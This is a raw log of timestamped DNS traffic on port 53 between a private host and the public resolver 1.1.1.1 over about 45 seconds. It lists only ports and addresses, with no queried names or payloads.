Nov 2, 2024 04:00:57.029730082 CET	50697	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:57.034935951 CET	54166	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:57.036664009 CET	53	50697	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:57.036776066 CET	50697	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:57.041660070 CET	53	54166	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:57.041760921 CET	54166	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:57.043234110 CET	53	50697	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:57.048357964 CET	53	54166	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:58.054987907 CET	45837	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:58.057200909 CET	56803	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:58.062099934 CET	53	45837	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:58.062190056 CET	45837	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:58.064107895 CET	53	56803	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:58.064168930 CET	56803	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:58.068941116 CET	53	45837	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:58.070558071 CET	53	56803	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:59.077630043 CET	46187	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:59.078705072 CET	41996	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:59.085124969 CET	53	46187	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:59.085206985 CET	46187	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:59.085624933 CET	53	41996	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:59.085711002 CET	41996	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:59.091877937 CET	53	46187	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:59.092122078 CET	53	41996	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:00.101429939 CET	40634	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:00.102124929 CET	51570	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:00.108427048 CET	53	40634	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:00.108521938 CET	40634	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:00.109103918 CET	53	51570	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:00.109174967 CET	51570	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:00.115165949 CET	53	40634	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:00.115778923 CET	53	51570	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:01.254208088 CET	39630	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:01.259512901 CET	36671	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:01.261075020 CET	53	39630	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:01.261147976 CET	39630	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:01.266418934 CET	53	36671	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:01.266482115 CET	36671	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:01.267699957 CET	53	39630	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:01.273189068 CET	53	36671	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:02.280600071 CET	39087	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:02.281407118 CET	33587	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:02.289551973 CET	53	39087	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:02.289720058 CET	39087	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:02.289963007 CET	53	33587	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:02.290047884 CET	33587	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:02.296392918 CET	53	39087	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:02.296581030 CET	53	33587	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:03.313568115 CET	43455	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:03.314732075 CET	53715	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:03.320673943 CET	53	43455	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:03.320761919 CET	43455	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:03.322202921 CET	53	53715	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:03.322266102 CET	53715	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:03.327326059 CET	53	43455	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:03.329113960 CET	53	53715	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:04.339495897 CET	44015	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:04.339561939 CET	44276	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:04.346424103 CET	53	44015	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:04.346506119 CET	44015	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:04.346519947 CET	53	44276	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:04.346575975 CET	44276	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:04.352988958 CET	53	44015	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:04.353007078 CET	53	44276	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:05.501221895 CET	46506	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:05.501724958 CET	56086	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:05.508244038 CET	53	46506	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:05.508322954 CET	46506	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:05.508444071 CET	53	56086	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:05.508501053 CET	56086	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:05.514987946 CET	53	46506	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:05.514997959 CET	53	56086	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:06.528099060 CET	38612	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:06.528922081 CET	44971	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:06.535720110 CET	53	38612	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:06.535823107 CET	38612	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:06.536385059 CET	53	44971	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:06.536447048 CET	44971	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:06.542669058 CET	53	38612	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:06.543020964 CET	53	44971	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:07.681602001 CET	41852	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:07.683353901 CET	47289	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:07.688561916 CET	53	41852	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:07.688642979 CET	41852	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:07.690301895 CET	53	47289	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:07.690356970 CET	47289	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:07.695188046 CET	53	41852	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:07.696791887 CET	53	47289	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:08.709903002 CET	40383	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:08.713206053 CET	43989	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:08.717412949 CET	53	40383	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:08.717511892 CET	40383	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:08.720158100 CET	53	43989	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:08.720232964 CET	43989	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:08.724251032 CET	53	40383	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:08.726696014 CET	53	43989	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:09.742980957 CET	46517	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:09.743638992 CET	37971	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:09.750195980 CET	53	46517	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:09.750296116 CET	46517	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:09.750535011 CET	53	37971	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:09.750602007 CET	37971	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:09.757165909 CET	53	46517	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:09.757296085 CET	53	37971	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:10.770731926 CET	42510	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:10.771996021 CET	35093	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:10.779546976 CET	53	42510	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:10.779644012 CET	42510	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:10.780410051 CET	53	35093	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:10.780492067 CET	35093	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:10.786277056 CET	53	42510	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:10.787221909 CET	53	35093	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:11.796828032 CET	43964	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:11.797821045 CET	35683	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:11.804256916 CET	53	43964	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:11.804413080 CET	43964	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:11.805402040 CET	53	35683	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:11.805504084 CET	35683	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:11.812396049 CET	53	43964	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:11.812496901 CET	53	35683	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:12.950601101 CET	52351	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:12.950943947 CET	33069	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:12.959252119 CET	53	52351	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:12.959383011 CET	53	33069	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:12.959434032 CET	52351	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:12.959465027 CET	33069	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:12.967421055 CET	53	33069	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:12.967545033 CET	53	52351	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:13.975893974 CET	36795	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:13.975975037 CET	33177	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:13.982621908 CET	53	36795	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:13.982733011 CET	36795	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:13.983422041 CET	53	33177	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:13.983486891 CET	33177	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:13.990951061 CET	53	36795	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:13.991065979 CET	53	33177	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:14.998307943 CET	46266	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:15.000190020 CET	41868	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:15.008537054 CET	53	46266	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:15.008697033 CET	46266	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:15.009866953 CET	53	41868	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:15.009938955 CET	41868	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:15.015424013 CET	53	46266	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:15.016978025 CET	53	41868	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:16.154047012 CET	42563	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:16.154215097 CET	56563	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:16.160849094 CET	53	42563	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:16.160959959 CET	42563	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:16.169146061 CET	53	42563	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:16.245969057 CET	53	56563	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:16.246233940 CET	56563	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:16.253431082 CET	53	56563	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:17.261991978 CET	59585	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:17.262377977 CET	57053	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:17.268863916 CET	53	59585	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:17.268937111 CET	59585	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:17.269047022 CET	53	57053	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:17.269099951 CET	57053	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:17.275475025 CET	53	59585	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:17.275485992 CET	53	57053	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:18.413451910 CET	37005	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:18.416376114 CET	42451	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:18.420028925 CET	53	37005	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:18.420101881 CET	37005	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:18.423263073 CET	53	42451	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:18.423324108 CET	42451	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:18.426732063 CET	53	37005	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:18.429766893 CET	53	42451	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:19.440000057 CET	44081	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:19.440566063 CET	51153	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:19.446877956 CET	53	44081	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:19.446954966 CET	44081	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:19.447350025 CET	53	51153	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:19.447412014 CET	51153	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:19.453589916 CET	53	44081	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:19.453808069 CET	53	51153	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:20.468523979 CET	60641	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:20.469129086 CET	51930	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:20.475498915 CET	53	60641	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:20.475574017 CET	60641	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:20.476313114 CET	53	51930	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:20.476371050 CET	51930	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:20.482119083 CET	53	60641	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:20.483105898 CET	53	51930	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:21.582624912 CET	47546	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:21.583508968 CET	60113	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:21.589795113 CET	53	47546	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:21.589948893 CET	47546	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:21.590437889 CET	53	60113	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:21.590545893 CET	60113	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:21.596446991 CET	53	47546	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:21.597349882 CET	53	60113	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:22.608803988 CET	53554	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:22.610306025 CET	46904	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:22.615741968 CET	53	53554	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:22.615820885 CET	53554	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:22.617039919 CET	53	46904	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:22.617109060 CET	46904	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:22.622194052 CET	53	53554	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:22.623560905 CET	53	46904	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:23.636806011 CET	50469	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:23.640563011 CET	52567	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:23.644253016 CET	53	50469	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:23.644332886 CET	50469	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:23.647949934 CET	53	52567	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:23.648016930 CET	52567	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:23.651180029 CET	53	50469	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:23.654644966 CET	53	52567	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:24.660609961 CET	59434	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:24.661807060 CET	58826	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:24.667860985 CET	53	59434	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:24.667954922 CET	59434	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:24.668886900 CET	53	58826	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:24.668955088 CET	58826	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:24.674635887 CET	53	59434	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:24.675695896 CET	53	58826	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:25.688788891 CET	45003	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:25.691416025 CET	48556	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:25.697174072 CET	53	45003	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:25.697315931 CET	45003	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:25.700117111 CET	53	48556	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:25.700233936 CET	48556	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:25.705384016 CET	53	45003	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:25.708504915 CET	53	48556	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:26.848567009 CET	39292	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:26.848745108 CET	51715	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:26.859155893 CET	53	39292	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:26.859241009 CET	39292	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:26.859534025 CET	53	51715	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:26.859626055 CET	51715	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:26.866877079 CET	53	51715	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:26.866889000 CET	53	39292	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:27.878237963 CET	56235	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:27.879618883 CET	48712	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:27.888602972 CET	53	56235	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:27.888689041 CET	56235	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:27.895729065 CET	53	56235	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:27.968588114 CET	53	48712	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:27.968691111 CET	48712	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:27.975748062 CET	53	48712	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:28.987052917 CET	33248	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:28.989574909 CET	48747	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:28.993988991 CET	53	33248	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:28.994076014 CET	33248	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:28.996638060 CET	53	48747	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:28.996697903 CET	48747	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:29.000705957 CET	53	33248	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:29.003633022 CET	53	48747	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:30.016634941 CET	37486	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:30.019861937 CET	56104	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:30.024768114 CET	53	37486	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:30.024898052 CET	37486	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:30.027302027 CET	53	56104	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:30.027378082 CET	56104	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:30.031584024 CET	53	37486	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:30.034182072 CET	53	56104	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:31.047090054 CET	48889	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:31.049154043 CET	60658	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:31.053962946 CET	53	48889	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:31.054096937 CET	48889	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:31.056545019 CET	53	60658	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:31.056647062 CET	60658	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:31.060798883 CET	53	48889	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:31.063549995 CET	53	60658	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:32.070753098 CET	60474	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:32.072015047 CET	45545	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:32.077940941 CET	53	60474	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:32.078094006 CET	60474	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:32.079308033 CET	53	45545	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:32.079380989 CET	45545	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:32.084772110 CET	53	60474	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:32.086774111 CET	53	45545	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:33.098495007 CET	38226	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:33.099298000 CET	37449	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:33.105669975 CET	53	38226	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:33.105757952 CET	38226	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:33.106194019 CET	53	37449	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:33.106256008 CET	37449	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:33.112377882 CET	53	38226	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:33.112752914 CET	53	37449	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:34.118942022 CET	39168	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:34.120054960 CET	45310	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:34.126282930 CET	53	39168	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:34.126358986 CET	39168	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:34.127346039 CET	53	45310	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:34.127405882 CET	45310	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:34.133136034 CET	53	39168	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:34.134036064 CET	53	45310	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:35.140259027 CET	46230	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:35.141875029 CET	37725	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:35.147449017 CET	53	46230	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:35.147557020 CET	46230	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:35.148441076 CET	53	37725	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:35.148510933 CET	37725	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:35.154292107 CET	53	46230	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:35.155039072 CET	53	37725	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:36.162636995 CET	41929	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:36.167886019 CET	47230	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:36.169847012 CET	53	41929	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:36.169922113 CET	41929	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:36.174997091 CET	53	47230	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:36.175060987 CET	47230	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:36.176493883 CET	53	41929	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:36.181658983 CET	53	47230	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:37.817279100 CET	57381	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:37.817481041 CET	54085	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:37.825112104 CET	53	54085	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:37.825193882 CET	54085	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:37.825193882 CET	53	57381	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:37.825258970 CET	57381	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:37.831919909 CET	53	54085	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:37.831950903 CET	53	57381	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:38.841407061 CET	33831	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:38.842655897 CET	45898	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:38.848368883 CET	53	33831	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:38.848449945 CET	33831	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:38.849777937 CET	53	45898	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:38.849839926 CET	45898	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:38.855051994 CET	53	33831	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:38.856478930 CET	53	45898	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:39.866683960 CET	51538	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:39.867701054 CET	40321	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:39.874708891 CET	53	40321	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:39.874794006 CET	40321	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:39.881597996 CET	53	40321	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:39.882185936 CET	53	51538	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:39.882266998 CET	51538	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:39.889144897 CET	53	51538	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:40.898185968 CET	35558	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:40.899175882 CET	54558	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:40.905361891 CET	53	35558	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:40.905500889 CET	35558	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:40.906435966 CET	53	54558	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:40.906522989 CET	54558	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:40.912344933 CET	53	35558	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:40.913041115 CET	53	54558	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:41.921875954 CET	50804	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:41.923599958 CET	38780	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:41.928590059 CET	53	50804	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:41.928687096 CET	50804	53	192.168.2.13	1.1.1.1
